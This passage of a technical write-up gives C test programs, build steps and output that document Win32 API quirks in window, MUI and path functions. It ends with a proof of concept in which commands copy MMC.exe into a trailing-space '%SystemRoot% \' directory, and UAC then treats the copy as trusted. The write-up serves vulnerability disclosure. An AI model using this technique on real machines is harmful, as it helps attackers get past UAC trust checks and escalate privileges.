hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetActiveWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetActiveWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetConsoleWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetConsoleWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError('FAIL');
hWindow = GetDesktopWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetDesktopWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetForegroundWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetForegroundWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError('FAIL');
hWindow = GetOpenClipboardWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetOpenClipboardWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetShellWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetShellWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetTopWindow(HWND_DESKTOP);
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetTopWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError('FAIL');
hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
dwBuffer = GetWindowModuleFileName(hWindow = HWND_BOTTOM, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOP, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_NOTOPMOST, szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of length %lu\n",
hWindow, szBuffer, dwBuffer);
}
ExitProcess(dwError);
} Build the console application quirk11.exe from the
source file quirk11.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk11.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk11.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk11.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk11.exe quirk11.obj
Execute the console application quirk11.exe built in
step 2. to demonstrate the inconsistent (mis)behaviour:
.\quirk11.exe IF ERRORLEVEL 1 NET.EXE HELPMSG %ERRORLEVEL%
GetWindow() returned error 1400 GetActiveWindow() returned NULL GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of length 35 GetWindowModuleFileName(0x00010010, …) returned error 1178683724 GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of length 35 GetOpenClipboardWindow() returned error 1178683724 GetWindowModuleFileName(0x00020104, …) returned error 1178683724 GetWindowModuleFileName(0x035D0EA0, …) returned pathname 'C:\Users\Stefan\Desktop\quirk11.exe' of length 35 GetWindow() returned error 1178683724 GetWindowModuleFileName(0x00000001, …) returned error 1400 GetWindowModuleFileName(0x00000000, …) returned error 1400 GetWindowModuleFileName(0xFFFFFFFF, …) returned error 1400 GetWindowModuleFileName(0xFFFFFFFE, …) returned error 1400 Invalid window handle.OUCH¹: the Win32 function
GetWindow()
does not support the pseudo handle
HWND_DESKTOP alias NULL, but returns
NULL with Win32 error 1400 alias
ERROR_INVALID_WINDOW_HANDLE
set!
OUCH²: it does not return
the handle of the specified window if this does not own an enabled
popup window, but NULL and fails to set the
Win32 error!
OUCH³: it returns NULL but fails
to set the Win32 error if no window with the specified
relationship exists!
Note: the Win32 function
GetWindowModuleFileName()
returns 0 and does not modify the buffer in case of
failure!
OUCH⁴: it returns the pathname of the calling console application although this did not create the window!
OUCH⁵: it returns 0 but fails to set the Win32 error if the window was created in another process, except for the console window!
OUCH⁶: it does not support
the pseudo handles
HWND_BOTTOM,
HWND_TOP
alias HWND_DESKTOP,
HWND_TOPMOST
and
HWND_NOTOPMOST,
but returns 0 with Win32 error 1400 alias
ERROR_INVALID_WINDOW_HANDLE
set!
OUCH⁷: the Win32 function
GetOpenClipboardWindow()
returns NULL but fails to set the Win32
error if the clipboard is not opened by a window!
GetFileMUIInfo()
is documented in the
MSDN as
follows:
The description of its behaviour is but wrong and misleading![…]BOOL GetFileMUIInfo( DWORD dwFlags, PCWSTR pcwszFilePath, PFILEMUIINFO pFileMUIInfo, DWORD *pcbFileMUIInfo );
pFileMUIInfo
[…]
Alternatively, the application can set this parameter to NULL if pcbFileMUIInfo is set to 0. In this case, the function retrieves the required size for the information buffer in pcbFileMUIInfo.
[…]
pcbFileMUIInfo
[…]
Alternatively, the application can set this parameter to 0 if it sets NULL in pFileMUIInfo. In this case, the function retrieves the required file information buffer size in pcbFileMUIInfo. To allocate the correct amount of memory, this value should be added to the size of theFILEMUIINFOstructure itself.
The initial call of
GetFileMUIInfo()
for any module, with address and size of the buffer given as
NULL and 0, fails (expected and intended) with
Win32 error 122 alias
ERROR_INSUFFICIENT_BUFFER,
but always returns 84 as (additional) buffer size;
subsequent calls then return the full buffer size.
The returned (additional or full) buffer size is but not always
sufficient; subsequent calls can fail again with Win32
error 122 alias ERROR_INSUFFICIENT_BUFFER, so
additional calls with the buffer size returned from the previous
call are then necessary until the call finally succeeds!
Note: implemented properly, the first call would return the correct (full) buffer size and grant a successful second call, as documented (for example) in the MSDN article Retrieving Data of Unknown Length!
Create the text file quirk12.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2009-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
const WCHAR szModule[] = L"C:\\Windows\\RegEdit.exe";
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
PFILEMUIINFO lpFileMUIInfo = NULL;
DWORD dwFileMUIInfo = 0;
DWORD dwError;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
szModule, lpFileMUIInfo, &dwFileMUIInfo))
PrintConsole(hConsole,
L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
else
{
PrintConsole(hConsole,
L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
dwFileMUIInfo += sizeof(FILEMUIINFO);
while (dwError == ERROR_INSUFFICIENT_BUFFER)
{
lpFileMUIInfo = LocalAlloc(LPTR, dwFileMUIInfo);
if (lpFileMUIInfo == NULL)
PrintConsole(hConsole,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
lpFileMUIInfo->dwSize = dwFileMUIInfo;
lpFileMUIInfo->dwVersion = MUI_FILEINFO_VERSION;
if (GetFileMUIInfo(MUI_QUERY_CHECKSUM | MUI_QUERY_LANGUAGE_NAME | MUI_QUERY_RESOURCE_TYPES | MUI_QUERY_TYPE,
szModule, lpFileMUIInfo, &dwFileMUIInfo))
PrintConsole(hConsole,
L"GetFileMUIInfo() returned success %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
else
PrintConsole(hConsole,
L"GetFileMUIInfo() returned error %lu and buffer size %lu for module \'%ls\'\n",
dwError = GetLastError(), dwFileMUIInfo, szModule);
if (LocalFree(lpFileMUIInfo) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
}
}
ExitProcess(dwError);
} Build the console application quirk12.exe from the
source file quirk12.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk12.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk12.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk12.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk12.exe quirk12.obj
Execute the console application quirk12.exe built in
step 2. to demonstrate the (mis)behaviour of the
Win32 function
GetFileMUIInfo():
.\quirk12.exe
GetFileMUIInfo() returned error 122 and buffer size 84 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 166 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned error 122 and buffer size 180 for module 'C:\Windows\RegEdit.exe' GetFileMUIInfo() returned success 0 and buffer size 180 for module 'C:\Windows\RegEdit.exe'
FindFirstFile(),
GetFullPathName(),
GetFullPathNameTransacted()
GetLongPathName()
GetLongPathNameTransacted()
and
GetShortPathName()
are documented in the
MSDN as
follows:
[…]HANDLE FindFirstFile( LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData );If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.
[…]DWORD GetFullPathName( LPCTSTR lpFileName, DWORD nBufferLength, LPTSTR lpBuffer, LPTSTR *lpFilePart );This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.
[…]
If the return value is greater than or equal to the value specified in nBufferLength, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
[…]DWORD GetLongPathName( LPCTSTR lpszShortPath, LPTSTR lpszLongPath, DWORD cchBuffer );If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.
If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.
[…]
If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.
If the return value is greater than the value specified in cchBuffer, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
[…]DWORD GetShortPathName( LPCTSTR lpszLongPath, LPTSTR lpszShortPath, DWORD cchBuffer );If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.
If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.
If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.
[…]
If the return value is greater than the value specified in the cchBuffer parameter, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.[…]If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.
Create the text file quirk13.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
WIN32_FIND_DATA wfd;
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwError;
BOOL bFind = FALSE;
HANDLE hFind;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#ifdef DEVICE
hFind = FindFirstFile(L"..\\NUL:", &wfd);
#else
hFind = FindFirstFile(L"Quirk13 \\*", &wfd);
#endif
if (hFind == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFile() returned error %lu\n",
dwError = GetLastError());
else
{
do
{
PrintConsole(hConsole,
L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
bFind = FindNextFile(hFind, &wfd);
} while (bFind);
dwError = GetLastError();
if (dwError == ERROR_NO_MORE_FILES)
dwError = ERROR_SUCCESS;
else
PrintConsole(hConsole,
L"FindNextFile() returned error %lu\n",
dwError);
if (!FindClose(hFind))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
dwError = GetLastError());
}
#ifdef DEVICE
dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
#else
dwBuffer = GetFullPathName(L"Quirk13 \\*", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
#endif
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetFullPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetFullPathName() returned pathname \'%ls\' of length %lu\n",
szBuffer, dwBuffer);
#ifdef DEVICE
hFind = FindFirstFile(L"..\\NUL:", &wfd);
#else
hFind = FindFirstFile(L"Quirk13 \\.", &wfd);
#endif
if (hFind == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFile() returned error %lu\n",
dwError = GetLastError());
else
{
do
{
PrintConsole(hConsole,
L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
bFind = FindNextFile(hFind, &wfd);
} while (bFind);
dwError = GetLastError();
if (dwError == ERROR_NO_MORE_FILES)
dwError = ERROR_SUCCESS;
else
PrintConsole(hConsole,
L"FindNextFile() returned error %lu\n",
dwError);
if (!FindClose(hFind))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
dwError = GetLastError());
}
#ifdef DEVICE
dwBuffer = GetFullPathName(L"..\\NUL:", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
#else
dwBuffer = GetFullPathName(L"Quirk13 \\.", sizeof(szBuffer) / sizeof(*szBuffer), szBuffer, NULL);
#endif
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetFullPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetFullPathName() returned pathname \'%ls\' of length %lu\n",
szBuffer, dwBuffer);
#ifdef DEVICE
dwBuffer = GetLongPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
#else
dwBuffer = GetLongPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
#endif
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetLongPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetLongPathName() returned pathname \'%ls\' of length %lu\n",
szBuffer, dwBuffer);
#ifdef DEVICE
dwBuffer = GetShortPathName(L"..\\NUL:", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
#else
dwBuffer = GetShortPathName(L"Quirk13 \\.", szBuffer, sizeof(szBuffer) / sizeof(*szBuffer));
#endif
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetShortPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetShortPathName() returned pathname \'%ls\' of length %lu\n",
szBuffer, dwBuffer);
}
ExitProcess(dwError);
} Build the console application quirk13.exe from the
source file quirk13.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk13.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk13.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk13.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk13.exe quirk13.obj
Execute the console application quirk13.exe built in
step 2. to demonstrate the inconsistent (mis)behaviour:
.\quirk13.exe MKDIR "Quirk13 \" .\quirk13.exe RMDIR "Quirk13 \" MKDIR Quirk13 .\quirk13.exe RMDIR Quirk13Note: the command lines can be copied and pasted as block into a Command Processor window!
FindFirstFile() returned error 3 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of length 34 FindFirstFile() returned error 2 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of length 31 GetLongPathName() returned error 2 GetShortPathName() returned error 2 FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of length 34 FindFirstFile() returned error 2 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of length 31 GetLongPathName() returned error 2 GetShortPathName() returned error 2 FindFirstFile() returned error 3 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of length 34 FindFirstFile() returned filename 'Quirk13' with alternate (8.3) filename '' and attributes 0x00000010 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of length 31 GetLongPathName() returned pathname 'Quirk13\.' of length 9 GetShortPathName() returned pathname 'Quirk13 \.' of length 10OUCH¹: the Win32 functions
FindFirstFile(),
GetFullPathName(),
GetLongPathName()
and
GetShortPathName()
misinterpret the directory name …\Quirk13 \. as
…\Quirk13!
OUCH²: contrary to its documentation cited
above, the Win32 function
FindFirstFile()
does not return INVALID_HANDLE_VALUE
with Win32 error 2 alias
ERROR_FILE_NOT_FOUND
set if the (empty) directory …\Quirk13 \ exists!
OUCH³: contrary to their documentation cited
above, the Win32 functions
GetLongPathName()
and
GetShortPathName()
do not return zero with Win32 error 3
alias
ERROR_PATH_NOT_FOUND
set if the directory …\Quirk13\ exists!
OUCH⁴: the Win32 function
GetShortPathName()
returns the not existing (relative) pathname
Quirk13 \. if the directory
…\Quirk13\ exists!
Note: repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetFullPathName()
and
GetLongPathName()
are used (direct and indirect) by the security theatreUAC to verify two of the three conditions for
auto-elevationof applications:
autoElevate property in the (embedded)
application manifest,
Windows Publishercode signing certificate, and
securealias
trustedlocations like
%SystemRoot%\ and its subdirectories.
path rules.
Note: the command lines can be copied and pasted as blocks into a Command Processor window!
CHDIR /D "%SystemRoot%" System32\KTMUtil.exe
The KTMUTIL utility requires that you have administrative privileges.The message from
KTMUtil.exe
verifies that the Command Processor
runs without administrative privileges and access rights.
START /WAIT System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
![[Screen shot of 'User Accounts' dialog]](download/QUIRK13A.PNG "Screen shot of 'User Accounts' dialog")
NetPlWiz.dll
displays the User Accounts dialog box.
Note: the
TechNet
article
PassportWizardRunDll
documents another (now removed) function of
NetPlWiz.dll
that is was supposed to be called this way too.
START /WAIT System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
![[Screen shot of 'Printer Settings' dialog]](download/QUIRK13B.PNG "Screen shot of 'Printer Settings' dialog")
As documented in the
TechNet
article
Rundll32 printui.dll,PrintUIEntry,
PrintUI.dll
displays a dialog box with its usage instructions.
START /WAIT System32\RunDLL32.exe System32\ShUnimpl.dll,#0
![[Screen shot of error message for error 1114 alias ERROR_DLL_INIT_FAILED]](download/QUIRK13C.PNG "Screen shot of error message for error 1114 alias ERROR_DLL_INIT_FAILED")
RunDLL32.exe
displays an error message box.
Note:
ShUnimpl.dll is the
graveyard
for obsolete and now unimplemented functions of
Windows’ shell
from prior versions of
Windows NT; to inhibit their use, its
_DllMainCRTStartup()
entry point function intentionally returns FALSE and
lets the Win32 function
LoadLibrary()
fail with Win32 error code 1114 alias
ERROR_DLL_INIT_FAILED.
START /WAIT System32\MMC.exe
MMC.exe triggers
a (blue) UAC prompt
which shows Verified Publisher: Microsoft Windows.
Note: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
START /WAIT System32\NetPlWiz.exe
NetPlWiz.exe
auto-elevates without to trigger a
UAC prompt and loads
NetPlWiz.dll
which displays its User Accounts dialog box.
START /WAIT System32\PrintUI.exe
PrintUI.exe too
auto-elevates without to trigger a
UAC prompt and loads
PrintUI.dll
which displays its dialog box.
MKDIR Temp\Example COPY System32\MMC.exe Temp\Example\MMC.exe START /WAIT Temp\Example\MMC.exe COPY System32\NetPlWiz.exe Temp\Example\NetPlWiz.exe START /WAIT Temp\Example\NetPlWiz.exe COPY System32\PrintUI.exe Temp\Example\PrintUI.exe START /WAIT Temp\Example\PrintUI.exe RMDIR /Q /S Temp\Example
1 file(s) copied.
1 file(s) copied.
1 file(s) copied.
MMC.exe,
NetPlWiz.exe
and PrintUI.exe
trigger a (yellow)
UAC prompt which
shows Publisher: Unknown!
Note: the digital signatures of almost all files
shipped with Windows are not embedded
in the files, but stored in separate catalog files
%SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat,
%SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat
and
%SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat;
an index of the hashes is maintained in the catalog databases
%SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb,
%SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb
and
%SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb.
UAC validates these
detached digital signatures independent of the actual filename, and
with some exceptions, for example in an untrusted directory like
%SystemRoot%\Temp\, also independent of the actual
pathname.
MKDIR "%SystemRoot% \" COPY System32\MMC.exe "%SystemRoot% \MMC.exe" START "Oops!" /WAIT "%SystemRoot% \MMC.exe"
1 file(s) copied.Oops: due to the bugs demonstrated above UAC misidentifies
%SystemRoot% \ as trusteddirectory, so
MMC.exe triggers
a (blue) UAC prompt
which shows Verified Publisher: Microsoft Windows!
Note:
UAC exhibits this
vulnerability (at least) in the directories
%SystemRoot% \,
%SystemRoot% .\,
